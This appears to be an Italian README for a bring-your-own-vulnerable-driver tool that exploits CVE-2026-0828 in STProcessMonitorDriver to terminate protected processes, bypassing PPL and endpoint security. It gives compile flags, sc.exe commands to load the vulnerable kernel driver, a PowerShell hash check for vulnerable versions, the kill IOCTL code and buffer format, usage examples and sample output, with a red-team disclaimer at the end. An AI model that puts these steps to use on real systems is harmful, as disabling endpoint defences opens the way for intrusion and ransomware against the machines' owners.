
Killer di processi in modalità kernel che sfrutta CVE-2026-0828 (BYOVD) per terminare processi protetti tramite un driver firmato vulnerabile, aggirando PPL e la sicurezza degli endpoint.
Uno strumento di terminazione dei processi in modalità kernel che sfrutta un driver vulnerabile (CVE-2026-0828) per terminare processi protetti dalla modalità utente.
Richiede MinGW-w64 (GCC) su Windows. Compilare con:
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W
Dettaglio dei flag:
| Flag | Scopo |
|---|---|
--% | Token di interruzione del parsing di PowerShell (passa gli argomenti letteralmente a g++) |
-Oz | Ottimizza per dimensioni minime |
-ffunction-sections / -fdata-sections | Posiziona ogni funzione/dato in una sezione separata |
-static / -static-libgcc / -static-libstdc++ | Collegamento statico (nessuna dipendenza da DLL runtime) |
-Wl,--gc-sections | Il linker elimina le sezioni inutilizzate (garbage collection) |
-W | Abilita i warning |
Output: terminator.exe autonomo (circa 20-30 KB senza simboli).
Questo progetto dimostra lo sfruttamento di un driver kernel vulnerabile (STProcessMonitorDriver) che espone un handler IOCTL_KILL_PROCESS non validato, consentendo la terminazione arbitraria dei processi indipendentemente da privilegi o meccanismi di protezione (PPL, flag EPROCESS, ecc.).
| Componente | Scopo |
|---|---|
terminator.cpp | Client in modalità utente che enumera i processi e invia gli IOCTL di terminazione |
terminator.hpp | Interfaccia di classe per l'enumerazione e la terminazione dei processi |
ProcessMonitorDriver.sys | Driver kernel vulnerabile (esterno, non incluso) |
Terminator::GetProcessPids()
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)Process32First/Process32NextTerminator::ProcessKill()
\\.\STProcessMonitorDriverIOCTL_KILL_PROCESS (0xB822200C) con un buffer PID di 8 byteCaricare il driver vulnerabile (richiede privilegi di Amministratore):
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor
Se una versione vulnerabile di ProcessMonitorDriver.sys è già installata e in esecuzione come servizio (ad es., da un'applicazione legittima), Terminator può connettersi direttamente senza caricare un nuovo driver.
Verificare se il servizio esiste ed è in esecuzione:
sc.exe query STProcessMonitor
Verificare che la versione del driver sia vulnerabile (PowerShell):
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
$hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
$vulnerableHashes = @(
"70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b", # 11.11.4.0
"85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786" # 10.5.75.0
)
if ($vulnerableHashes -contains $hash) {
Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
} else {
Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
}
} else {
Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}
Se il servizio esiste ed è RUNNING con una versione vulnerabile, saltare i passaggi di caricamento del driver ed eseguire Terminator direttamente.
| Versione | SHA-256 |
|---|---|
| 11.11.4.0 | 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b |
| 10.5.75.0 | 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786 |
Altre versioni potrebbero essere interessate; verificare l'handler IOCTL del driver prima dell'uso.
terminator.exe -proc <process_name1> [process_name2] ...
Esempio:
terminator.exe -proc notepad.exe calc.exe
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.
Vulnerabilità: Il driver STProcessMonitorDriver registra un handler IOCTL (0xB822200C) che:
PsLookupProcessByProcessId → ZwTerminateProcessSYSTEM), aggirando tutte le ACL in modalità utenteImpatto: Qualsiasi utente non amministratore con accesso al driver può terminare:
SeDebugPrivilegeCausa principale: Mancata validazione tramite ObReferenceObjectByHandle, assenza di SeSinglePrivilegeCheck(SeDebugPrivilege) e nessun controllo degli accessi sull'oggetto processo.
Questo strumento è destinato esclusivamente a ricerca sulla sicurezza autorizzata ed esercitazioni di red team.
L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di un'esplicita autorizzazione ai test è illegale. L'autore non si assume alcuna responsabilità per un uso improprio. Assicurarsi di disporre di un'autorizzazione scritta prima di distribuirlo in qualsiasi ambiente.
Il driver vulnerabile (
ProcessMonitorDriver.sys) è volutamente difettoso a scopo dimostrativo e non dovrebbe mai essere distribuito in produzione.